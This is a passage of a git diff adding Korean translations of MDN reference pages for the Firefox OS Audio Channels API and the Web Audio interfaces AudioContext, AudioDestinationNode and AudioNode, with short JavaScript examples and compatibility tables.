+  } else if(channelValue == 'content') {
+    navigator.mozAudioChannelManager.volumeControlChannel = 'content';
+  }
+  console.log(navigator.mozAudioChannelManager.volumeControlChannel);
+}</pre>
+
+<div class="note">
+<p><strong>Note</strong>: 완전히 동작하는 예제를 보기 위해서는 <a href="https://github.com/mdn/audio-channels-demo">audio-channels-demo</a>를 확인하기 바란다. Firefox OS 디바이스에 앱을 설치하고 음악을 재생한 뒤, 채널을 normal 그리고 content로 지정하여 앱을 백그라운드로 전환 후 어떤 일이 발생하는지 확인하도록 한다.</p>
+</div>
+
+<h2 id="명세">명세</h2>
+
+<p>현재 오디오 채널 API는 공식적인 명세(스펙)가 정의되어있지 않다. <a href="https://wiki.mozilla.org/WebAPI/AudioChannels">https://wiki.mozilla.org/WebAPI/AudioChannels</a>를 참고하면 WebIDL에 대한 자세한 구현사항에 대해 확인할 수 있다.</p>
+
+<h2 id="함께_보기">함께 보기</h2>
+
+<div id="compat-mobile"> </div>
+
+<ul>
+ <li><a href="/en-US/Apps/Build/App_permissions">App permissions for Firefox OS</a></li>
+ <li><a href="/en-US/docs/Web/API/AudioChannels_API/Using_the_AudioChannels_API">Using the AudioChannels API</a></li>
+ <li>{{domxref("Navigator.mozAudioChannelManager","navigator.mozAudioChannelManager")}}</li>
+ <li>{{domxref("HTMLMediaElement")}}</li>
+</ul>
diff --git a/files/ko/web/api/audiochannels_api/index.html b/files/ko/web/api/audiochannels_api/index.html
new file mode 100644
index 0000000000..de4d98de42
--- /dev/null
+++ b/files/ko/web/api/audiochannels_api/index.html
@@ -0,0 +1,121 @@
+---
+title: Audio Channels API
+slug: Web/API/AudioChannels_API
+tags:
+  - API
+  - Audio
+  - AudioChannels
+  - Firefox OS
+  - Non-standard
+  - Obsolete
+  - Reference
+translation_of: Archive/B2G_OS/API/Audio_Channels_API
+---
+<p>{{DefaultAPISidebar("Audio Channels API")}}</p>
+
+<div class="blockIndicator nonStandard">
+<p><strong>Non-standard</strong><br>
+ This feature is not on a current W3C standards track, but it is supported on the Firefox OS platform. Although implementations may change in the future and it is not supported widely across browsers, it is suitable for use in code dedicated to Firefox OS apps.</p>
+</div>
+
+<p class="summary">The <strong>Audio Channels API</strong> is a Firefox OS-only feature allowing you to place your app audio content into a hierarchy of importance, which dictates when the audio will be paused and resumed in response to other audio playing and actions occurring and allows you to control the volume of different types of audio independently from one another.</p>
+
+<p>Use case examples:</p>
+
+<ul>
+ <li>You want your audio player app to continue playing audio even when it is running in the background so you can do other things as it plays, but you want it to pause when someone rings your phone.</li>
+ <li>When you mute your phone you don't want to also mute your wake up alarm for the next morning.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note</strong>: Since the AudioChannels API is non-standard and requires permissions, for many simple use cases such as pausing game music when the app/web page goes into the background you would be better off using the standard <a href="/en-US/docs/Web/Guide/User_experience/Using_the_Page_Visibility_API">Page Visibility API</a>, or perhaps <a href="/en-US/docs/Web/API/Window/onfocus" title="The onfocus property returns the onFocus event handler code on the current element."><code>window.onfocus</code></a>/<a href="/en-US/docs/Web/API/Window/onblur" title="The onblur property returns the onBlur event handler code, if any, that exists on the current element."><code>window.onblur</code></a>. AudioChannels are mainly useful for more complex phone uses cases involving telephony, etc.</p>
+</div>
+
+<h2 id="Concepts_and_usage">Concepts and usage</h2>
+
+<p>The AudioChannels API extends the <a href="/en-US/docs/Web/API/HTMLMediaElement" title="The HTMLMediaElement interface adds to HTMLElement the properties and methods needed to support basic media-related capabilities that are common to audio and video."><code>HTMLMediaElement</code></a> and <a href="/en-US/docs/Web/API/AudioContext" title="The AudioContext interface represents an audio-processing graph built from audio modules linked together, each represented by an AudioNode. An audio context controls both the creation of the nodes it contains and the execution of the audio processing, or decoding. You need to create an AudioContext before you do anything else, as everything happens inside a context."><code>AudioContext</code></a> interfaces with (among other things) a <code>mozAudioChannelType</code> property that can be set to the channel you want your audio to be played in. The  <a href="/en-US/docs/Web/HTML/Element/audio" title="The HTML &lt;audio> element is used to embed sound content in documents. It may contain one or more audio sources, represented using the src attribute or the &lt;source> element: the browser will choose the most suitable one. It can also be the destination for streamed media, using a MediaStream."><code>&lt;audio&gt;</code></a> and <a href="/en-US/docs/Web/HTML/Element/video" title="Use the HTML &lt;video> element to embed video content in a document."><code>&lt;video&gt;</code></a> elements can also be used to set this value via the <code>mozaudiochannel</code> attribute. When your audio is placed into a channel, it is generally paused (or interrupted) by audio in a higher priority channel being played. Audio in the least important channel — <code>normal</code> — is also paused by its app being put into the background (this is not the case with the other channels). The audio channels are as follows:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Channel name</th>
+   <th scope="col">importance</th>
+   <th scope="col">Used for</th>
+   <th scope="col">App permission level</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>normal</td>
+   <td>1</td>
+   <td>UI sounds, app and web content</td>
+   <td>Normal</td>
+  </tr>
+  <tr>
+   <td>content</td>
+   <td>2</td>
+   <td>Music, radio, video</td>
+   <td>Normal</td>
+  </tr>
+  <tr>
+   <td>notification</td>
+   <td>3</td>
+   <td>New email, incoming SMS</td>
+   <td>Privileged</td>
+  </tr>
+  <tr>
+   <td>alarm</td>
+   <td>4</td>
+   <td>Alarm clock, calendar alarms</td>
+   <td>Privileged</td>
+  </tr>
+  <tr>
+   <td>ringer</td>
+   <td>5</td>
+   <td>Incoming phone calls</td>
+   <td>Certified</td>
+  </tr>
+  <tr>
+   <td>telephony</td>
+   <td>6</td>
+   <td>Ongoing phone calls, VOIP calls</td>
+   <td>Certified</td>
+  </tr>
+  <tr>
+   <td>publicnotification</td>
+   <td>7</td>
+   <td>Forced camera shutter sounds</td>
+   <td>Certified</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Each channel has a separate mute and volume setting, to provide more granular control over the different parts of audio on your device. These are accessed using the <a href="/en-US/docs/Web/API/MozAudioChannelManager" title="The documentation about this has not yet been written; please consider contributing!"><code>mozAudioChannelManager</code></a> object via the <a href="/en-US/docs/Web/API/Navigator/mozAudioChannelManager" title="The documentation about this has not yet been written; please consider contributing!"><code>navigator.mozAudioChannelManager</code></a> property.</p>
+
+<div class="note">
+<p><strong>Note</strong>: If you have two apps playing audio in the content channel, only the one in the foreground can play audio, while the other is interrupted. When the foreground app is put into the background with audio playing, it will not be muted, as per normal "content" behaviour.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: Find more out about how to use the AudioChannels API in our <a href="/en-US/docs/Web/API/AudioChannels_API/Using_the_AudioChannels_API">Using the AudioChannels API</a> guide.</p>
+</div>
+
+<h2 id="AudioChannels_interfaces">AudioChannels interfaces</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/AudioChannelManager" title="The documentation about this has not yet been written; please consider contributing!"><code>AudioChannelManager</code></a></dt>
+ <dd>Includes some features for managing your device's audio channels, including setting what channel's volume to affect when the volume buttons are pressed inside a particular app.</dd>
+ <dt><a href="/en-US/docs/Web/API/HTMLMediaElement" title="The HTMLMediaElement interface adds to HTMLElement the properties and methods needed to support basic media-related capabilities that are common to audio and video."><code>HTMLMediaElement</code></a> and <a href="/en-US/docs/Web/API/AudioContext" title="The AudioContext interface represents an audio-processing graph built from audio modules linked together, each represented by an AudioNode. An audio context controls both the creation of the nodes it contains and the execution of the audio processing, or decoding. You need to create an AudioContext before you do anything else, as everything happens inside a context."><code>AudioContext</code></a> extensions</dt>
+ <dd><code>HTMLMediaElement</code> and <code>AudioContext</code> are extended with some proprietary features for controlling audio channels, including setting what audio channel the media is in, and events that fire when the audio is interrupted, and resumes playing.</dd>
+ <dt><a href="/en-US/docs/Web/API/Using_the_Browser_API">Browser API</a> extensions</dt>
+ <dd>The Browser API will also be including some audio channels features, for putting audio content inside a browser instance into audio channels, controlling its volume, etc., but it doesn't look like these have yet been implemented. This should occur soon.</dd>
+</dl>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Apps/Build/App_permissions">App permissions for Firefox OS</a></li>
+ <li><a href="/en-US/docs/Web/API/AudioChannels_API/Using_the_AudioChannels_API">Using the Audio Channels API</a></li>
+ <li><a href="/en-US/docs/Web/API/Navigator/mozAudioChannelManager" title="The documentation about this has not yet been written; please consider contributing!"><code>navigator.mozAudioChannelManager</code></a></li>
+ <li><a href="/en-US/docs/Web/API/HTMLMediaElement" title="The HTMLMediaElement interface adds to HTMLElement the properties and methods needed to support basic media-related capabilities that are common to audio and video."><code>HTMLMediaElement</code></a></li>
+</ul>
diff --git a/files/ko/web/api/audiocontext/index.html b/files/ko/web/api/audiocontext/index.html
new file mode 100644
index 0000000000..b42947de88
--- /dev/null
+++ b/files/ko/web/api/audiocontext/index.html
@@ -0,0 +1,179 @@
+---
+title: AudioContext
+slug: Web/API/AudioContext
+tags:
+  - 오디오
+translation_of: Web/API/AudioContext
+---
+<p>{{APIRef()}}</p>
+
+<div>
+<p><code>AudioContext는 오디오 모듈과 연동시켜 {{domxref("AudioNode")}}를 통해 음원을 그래프화 시킨다. 오디오 컨택스트는 음원정보를 담은 노드를 생성하거나 음원을 실행또는 디코딩 시키는 일을 한다.</code> 당신이 음원을 다룰일이 있다면 우선 AudioContext를 생성해야 관련된 모든 작업을 진행할 수 있다.</p>
+
+<p><code>AudioContext 이벤트의 타겟이 되므로 </code>{{domxref("EventTarget")}} 인터페이스를 통해 구현되어야 한다.</p>
+</div>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("AudioContext.currentTime")}} {{readonlyInline}}</dt>
+ <dd>double형으로 리턴되는 음원을 스케쥴링하기 위한 초단위로 증가하는 시간을 나타낸다. 이는 0부터 시작해서 진행되며 멈추거나 일시정지, 리셋을 할수는 없다.</dd>
+ <dt>{{domxref("AudioContext.destination")}} {{readonlyInline}}</dt>
+ <dd>{{domxref("AudioDestinationNode")}} 은 컨텍스트 상의 모든 음원의 마지막 지점을 리턴한다. It can be thought of as the audio-rendering device.</dd>
+ <dt>{{domxref("AudioContext.listener")}} {{readonlyInline}}</dt>
+ <dd>{{domxref("AudioListener")}} 오브젝트를 리턴하여 3D 사운드를 다루기 위해 사용된다.</dd>
+ <dt>{{domxref("AudioContext.sampleRate")}} {{readonlyInline}}</dt>
+ <dd>컨택스트 상의 모든 노드에서 사용될 샘플rate를 float형으로 매초 리턴한다.  {{domxref("AudioContext")}} 의 sample-rate는 변경되지 않는다.</dd>
+ <dt>{{domxref("AudioContext.mozAudioChannelType")}} {{ non-standard_inline() }} {{readonlyInline}}</dt>
+ <dd>Firefox OS의 디바이스에서 재생될 {{domxref("AudioContext")}}상의 음원의 채널을 리턴받는다.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p>{{domxref("EventTarget")}}<em>을 부모로 가지는 메서드</em>.</p>
+
+<dl>
+ <dt>{{domxref("AudioContext.createBuffer()")}}</dt>
+ <dd>새롭게 빈 {{ domxref("AudioBuffer") }}를 생성해 음원데이터를 넣거나 {{domxref("AudioBufferSourceNode") }}를 통해 재생하는 역할을 한다.</dd>
+ <dt>{{domxref("AudioContext.createBufferSource()")}}</dt>
+ <dd>{{domxref("AudioBufferSourceNode")}}를 생성하여 {{ domxref("AudioBuffer")}} 객체상에 담긴 데이터를 재생하거나 수정할때 사용된다.  {{ domxref("AudioBuffer")}}들은 {{domxref("AudioContext.createBuffer")}}을 통해 생성이 되거나 {{domxref("AudioContext.decodeAudioData")}}에 의해 음원트랙이 성공적으로 디코드 되었을 경우에 리턴이 된다.</dd>
+ <dt>{{domxref("AudioContext.createMediaElementSource()")}}</dt>
+ <dd>{{domxref("HTMLMediaElement")}}와 연관된 {{domxref("MediaElementAudioSourceNode")}}을 생성한다.  이는 {{HTMLElement("video")}} 나 {{HTMLElement("audio")}} 를 재생하거나 음원을 조작할때 사용한다.</dd>
+ <dt>{{domxref("AudioContext.createMediaStreamSource()")}}</dt>
+ <dd>{{domxref("MediaStream")}} 과 연관된 {{domxref("MediaStreamAudioSourceNode")}}를 생성하여 내 컴퓨터의 마이크나 다른 소스를 통해 발생한 오디오 스트림의 정보를 보여준다.</dd>
+ <dt>{{domxref("AudioContext.createMediaStreamDestination()")}}</dt>
+ <dd>{{domxref("MediaStream")}} 과 연관된 {{domxref("MediaStreamAudioDestinationNode")}}를 생성하여 로컬파일로 저장된 혹은 다른 컴퓨터에 저장된 오디오 스트림정보를 보여준다.</dd>
+ <dt>{{domxref("AudioContext.createScriptProcessor()")}}</dt>
+ <dd>{{domxref("ScriptProcessorNode")}} 자바스크립트를 통해 음원의 진행상태에 직접접근에 사용된다.</dd>
+ <dt>{{domxref("AudioContext.createAnalyser()")}}</dt>
+ <dd>{{domxref("AnalyserNode")}}를 생성하여 오디오의 시간이나 주파수 정보를 알아내어 데이터를 시각화 하는 작업등에 사용을 할 수 있다.</dd>
+ <dt>{{domxref("AudioContext.createBiquadFilter()")}}</dt>
+ <dd>{{domxref("BiquadFilterNode")}} 를 생성하여 high-pass, low-pass, band-pass등  2차 필터의 정보를 설정 할 수 있다.</dd>
+ <dt>{{domxref("AudioContext.createChannelMerger()")}}</dt>
+ <dd>{{domxref("ChannelMergerNode")}} 두개의 오디오 스트림 정보를 하나의 오디오 스트림으로 합칠 수 있다.</dd>
+ <dt>{{domxref("AudioContext.createChannelSplitter()")}}</dt>
+ <dd>{{domxref("ChannelSplitterNode")}}를 통해 오디오 스트림의 각각의 채널정보에 접근 할 때와 스트림을 구분지어 처리할때 사용한다.</dd>
+ <dt>{{domxref("AudioContext.createConvolver()")}}</dt>
+ <dd>{{domxref("ConvolverNode")}}를 통해 convolution effects를 당신의 오디오 그래프에 적용할 때 사용한다. 예를 들면 reverberation effect 가 있다.</dd>
+ <dt>{{domxref("AudioContext.createDelay()")}}</dt>
+ <dd>{{domxref("DelayNode")}}를 통해 특정 시간동안 오디오의 입력신호를 딜레이 시킨다. 이 노드는 Web Audio API에서 피드백 루프를 생성할때 유용하다.</dd>
+ <dt>{{domxref("AudioContext.createDynamicsCompressor()")}}</dt>
+ <dd>{{domxref("DynamicsCompressorNode")}}는 음원의 신호를 암축할때 사용된다.</dd>
+ <dt>{{domxref("AudioContext.decodeAudioData()")}}</dt>
+ <dd>{{domxref("ArrayBuffer") }} 에 담긴 오디오 파일을 비동기적으로 디코딩 시킬때 사용한다. 이 경우에 일반적으로 ArrayBuffer는 <code>arraybuffer의 <code>responseType을 세팅한 후 </code></code>{{domxref("XMLHttpRequest")}}의 <code>response를 통해 데이터가 로드된다.</code> 이 메서드는 오직 완벽한 파일에서만 동작을 한다. 파편화된 오디오 파일들에서는 동작하지 않는다.</dd>
+ <dt>{{domxref("AudioContext.createGain()")}}</dt>
+ <dd>{{domxref("GainNode")}}를 생성하여 오디오 그래프의 전반적인 볼륨을 조절할때 사용한다.</dd>
+ <dt>{{domxref("AudioContext.createOscillator()")}}</dt>
+ <dd>{{domxref("OscillatorNode")}}를 통해 시간별 음원의 파형을 볼수 있다. 이는 일반적으로 음색(a tone) 을 생성한다.</dd>
+ <dt>{{domxref("AudioContext.createPanner()")}}</dt>
+ <dd>{{domxref("PannerNode")}}를 통해 입력되는 음원을 3차원으로 공간화 시킬때 사용한다.</dd>
+ <dt>{{domxref("AudioContext.createPeriodicWave()")}}</dt>
+ <dd>{{domxref("PeriodicWave")}}를 생성하여 {{ domxref("OscillatorNode") }}를 통해 출력되는 파형을 확인할수 있다.</dd>
+ <dt>{{domxref("AudioContext.createWaveShaper()")}}</dt>
+ <dd>{{domxref("WaveShaperNode")}}는 non-linear distortion effects를 적용할 때 사용한다.</dd>
+ <dt>{{domxref("AudioContext.createAudioWorker()")}}</dt>
+ <dd>{{domxref("AudioWorkerNode")}}는 Web Worker의 스레드와 상호작용을 하며 오디오를 생성, 처리, 분석등의 작업을 직접한다. 이는 2014년 8월 29일에 스펙으로 추가되어 아직 다른 브라우저에는 적용되지 않은 상태이다.</dd>
+</dl>
+
+<h2 id="Obsolete_methods">Obsolete methods</h2>
+
+<dl>
+ <dt>{{domxref("AudioContext.createJavaScriptNode()")}}</dt>
+ <dd>Creates a {{domxref("JavaScriptNode")}}, used for direct audio processing via JavaScript. This method is obsolete, and has been replaced by {{domxref("AudioContext.createScriptProcessor()")}}.</dd>
+ <dt>{{domxref("AudioContext.createWaveTable()")}}</dt>
+ <dd>Creates a {{domxref("WaveTableNode")}}, used to define a periodic waveform. This method is obsolete, and has been replaced by {{domxref("AudioContext.createPeriodicWave()")}}.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>Basic audio context declaration:</p>
+
+<pre class="brush: js">var audioCtx = new AudioContext;</pre>
+
+<p>Cross browser variant:</p>
+
+<pre class="brush: js">var AudioContext = window.AudioContext || window.webkitAudioContext;
+var audioCtx = new AudioContext();
+
+var oscillatorNode = audioCtx.createOscillator();
+var gainNode = audioCtx.createGain();
+var finish = audioCtx.destination;
+// etc.</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#the-audiocontext-interface', 'AudioContext')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(10.0)}}{{property_prefix("webkit")}}</td>
+   <td>{{CompatGeckoDesktop(25.0)}} </td>
+   <td>{{CompatNo}}</td>
+   <td>15.0{{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6.0{{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>26.0</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>33.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul style="margin-left: 40px;">
+ <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/ko/web/api/audiodestinationnode/index.html b/files/ko/web/api/audiodestinationnode/index.html
new file mode 100644
index 0000000000..f119f5ae5e
--- /dev/null
+++ b/files/ko/web/api/audiodestinationnode/index.html
@@ -0,0 +1,142 @@
+---
+title: AudioDestinationNode
+slug: Web/API/AudioDestinationNode
+tags:
+  - 오디오
+translation_of: Web/API/AudioDestinationNode
+---
+<p>{{APIRef()}}</p>
+
+<div>
+<p><code>AudioDestinationNode 은 주어진 컨택스트의 음원의 종착점을 나타냅니다. 보통 스피커를 가리킵니다. 이는 또한 </code><code>OfflineAudioContext를 사용해 데이터가 녹음되는 노드가 되기도 합니다.</code></p>
+<code>AudioDestinationNode</code> has no output (as it <em>is</em> the output, no more <code>AudioNode</code> can be linked after it in the audio graph) and one input.  입력받은 음원의 채널의 총 갯수는 반드시 0과 <code>maxChannelCount값의 사이에 있거나 예외(an exception is raised)가 발생한다.</code>
+
+<p>주어진 <code>AudioContext의 </code><code>AudioDestinationNode는 </code>{{domxref("AudioContext.destination")}}프로퍼티를 통해 검색이 된다.</p>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row">Number of inputs</th>
+   <td><code>1</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Number of outputs</th>
+   <td><code>0</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Channel count mode</th>
+   <td><code>"explicit"</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Channel count</th>
+   <td><code>2</code></td>
+  </tr>
+  <tr>
+   <th scope="row">Channel interpretation</th>
+   <td><code>"speakers"</code></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>Inherits properties from its parent, </em><em>{{domxref("AudioNode")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("AudioDestinationNode.maxChannelCount")}}</dt>
+ <dd><code>unsigned long 형의 물리적인 디바이스로 다룰수 있는 최대 채널의 갯수.</code></dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>No specific method; inherits methods from its parent, </em><em>{{domxref("AudioNode")}}</em>.</p>
+
+<h2 id="Example">Example</h2>
+
+<p><code>AudioDestinationNode를 사용하면 복잡한 세팅없이 몇줄의 코드로 오디오 그래프를 확인할 수 있습니다.</code></p>
+
+<pre class="brush: js">var audioCtx = new AudioContext();
+var source = audioCtx.createMediaElementSource(myMediaElement);
+source.connect(gainNode);
+gainNode.connect(audioCtx.destination);</pre>
+
+<p>To see a more complete implementation, check out one of our MDN Web Audio examples, such as <a href="http://mdn.github.io/voice-change-o-matic/">Voice-change-o-matic</a> or <a href="http://mdn.github.io/violent-theremin/">Violent Theremin</a>.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#the-audiodestinationnode-interface', 'AudioDestinationNode')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>14 {{property_prefix("webkit")}}</td>
+   <td>23</td>
+   <td>{{CompatNo}}</td>
+   <td>15 {{property_prefix("webkit")}}<br>
+    22 (unprefixed)</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>28 {{property_prefix("webkit")}}</td>
+   <td>25</td>
+   <td>1.2</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>6 {{property_prefix("webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/ko/web/api/audionode/index.html b/files/ko/web/api/audionode/index.html
new file mode 100644
index 0000000000..7a30efdac2
--- /dev/null
+++ b/files/ko/web/api/audionode/index.html
@@ -0,0 +1,185 @@
+---
+title: AudioNode
+slug: Web/API/AudioNode
+translation_of: Web/API/AudioNode
+---
+<p>{{APIRef()}}</p>
+<p><code>AudioNode</code>는 포괄적으로 오디오를 처리하는 데이터 소스인 {{HTMLElement("audio")}} 테그나 {{HTMLElement("video")}} 테그, {{domxref("OscillatorNode")}} 와 audio destinatio, intermediate 처리 모듈인 {{domxref("BiquadFilterNode")}} or {{domxref("ConvolverNode")}} 또는 볼륨을 조절하는 {{domxref("GainNode")}} 등을 나타냅니다.</p>
+<p><img alt="AudioNodes participating in an AudioContext create a audio routing graph." src="https://mdn.mozillademos.org/files/9713/WebAudioBasics.png" style="width: 677px; height: 230px; display: block; margin: 0px auto;"></p>
+<p><code>AudioNode는 입력과 출력을 가지고 각각의 주어진 채널을 가지고 있습니다. 입력이 0인 <code>AudioNode와 하나 혹은 다수의 출력을 가지면 이를 소스노드라고 불린다.</code></code><code> <code>하나의 AudioNode에서 다른 쪽으로 다양한 처리가 이뤄진다. 일반적으로는 노드는 입력을 읽어 음원관련 처리작업을 하고, 새로운 출력값을 만든다. 아니면 단순히 음원이 지나가는 노드역활만을 하기도 한다.</code></code></p>
+<p> (for example in the {{domxref("AnalyserNode")}}, where the result of the processing is accessed separatly).</p>
+<p>다른 노드들은<em> processing graph</em> 를 만들기 위해 서로를 연결한다. graph는  {{domxref("AudioContext")}}를 가지고 있다. 각각의 노드는 하나이 컨택스트에 관여를 한다. 일반적으로는 처리노드는 <code>AudioNode</code>의 메서드와 프로퍼티를 상속받아 처리하지만 사용자의 의도에 따라 기능을 추가 할수도 있다. 자세한 <a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a> 페이지 이다.</p>
+<div class="note">
+ <p><strong>Note</strong>: An <code>AudioNode</code> can be target of events, therefore it implements the {{domxref("EventTarget")}} interface.</p>
+</div>
+<h2 id="Properties" style="">Properties</h2>
+<dl>
+ <dt>
+  {{domxref("AudioNode.context")}} {{readonlyInline}}</dt>
+ <dd>
+  {{domxref("AudioContext")}}와 연관된 정보를 리턴한다. 노드가 관여하고 있는 processing graph 객체를 나타낸다.</dd>
+</dl>
+<dl>
+ <dt>
+  {{domxref("AudioNode.numberOfInputs")}} {{readonlyInline}}</dt>
+ <dd>
+  노드에 입력되는 인풋의 수를 리턴받는다. 소스노드는 <code>numberOfInputs 프로퍼티를 가지는데 기본적으로 0 값을 가진다.</code></dd>
+</dl>
+<dl>
+ <dt>
+  {{domxref("AudioNode.numberOfOutputs")}} {{readonlyInline}}</dt>
+ <dd>
+  노드를 통해 나오는 출력의 갯수를 리턴한다. {{ domxref("AudioDestinationNode") }} 같은 노드의 경우에는 이 값은 0을 가지고 있다.</dd>
+</dl>
+<dl>
+ <dt>
+  {{domxref("AudioNode.channelCount")}}</dt>
+ <dd>
+  인풋에 <a href="/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API#Up-mixing_and_down-mixing">up-mixing and down-mixing</a>을 하는 경우 몇개의 채널이 사용되는지 갯수를 정수값으로 리턴한다. {{domxref("AudioNode.channelCountMode")}}의 값에의해 정확한 갯수를 알수 있다.</dd>
+</dl>
+<dl>
+ <dt>
+  {{domxref("AudioNode.channelCountMode")}}</dt>
+ <dd>
+  노드에 입력되는 입력값과 출력값의 연관 정보를 리턴받는다.</dd>
+ <dt>
+  {{domxref("AudioNode.channelInterpretation")}}</dt>
+ <dd>
+  음원을 어떻게 <a href="/en-US/docs/Web/API/Web_Audio_API/Basic_concepts_behind_Web_Audio_API#Up-mixing_and_down-mixing">up-mixing and down-mixing</a> 하는지에 대한 정보를 리턴받는다. 이 값은 <code>"speakers"</code> 나 <code>"discrete" 가 될 수 있다.</code></dd>
+</dl>
+<h2 id="Methods">Methods</h2>
+<p><em>Also implements methods from the interface </em>{{domxref("EventTarget")}}.</p>
+<dl>
+ <dt>
+  {{domxref("AudioNode.connect(AudioNode)")}}</dt>
+ <dd>
+  다른 노드에서의 입력과 현대 노드의 출력값을 서로 연결시킬수 있다.</dd>
+ <dt>
+  {{domxref("AudioNode.connect(AudioParam)")}}</dt>
+ <dd>
+  현재 노드의 출력과 audio parameter의 출력 하나와 연결 시킬수 있다.</dd>
+ <dt>
+  {{domxref("AudioNode.disconnect()")}}</dt>
+ <dd>
+  현재의 노드와 연결된 다른 노드와의 연결을 끊을수 있다.</dd>
+</dl>
+<h2 id="Example">Example</h2>
+<p>이예제는 간단하게 <code>AudioNode의 프로퍼티와 메서드를 어떻게 사용하는지를 보여 준다.</code> <a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a>에 가면 더 많은 예제를 확인 할 수 있다.</p>
+<pre class="brush: js;highlight[8,9,11,12,13,14]">var AudioContext = window.AudioContext || window.webkitAudioContext;
+
+var audioCtx = new AudioContext();
+
+var oscillator = audioCtx.createOscillator();
+var gainNode = audioCtx.createGain();
+
+oscillator.connect(gainNode);
+gainNode.connect(audioCtx.destination);
+
+oscillator.context;
+oscillator.numberOfInputs;
+oscillator.numberOfOutputs;
+oscillator.channelCount;</pre>
+<h2 id="Specifications">Specifications</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#the-audionode-interface', 'AudioNode')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+<div>
+ {{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Feature</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari (WebKit)</th>
+   </tr>
+   <tr>
+    <td>Basic support</td>
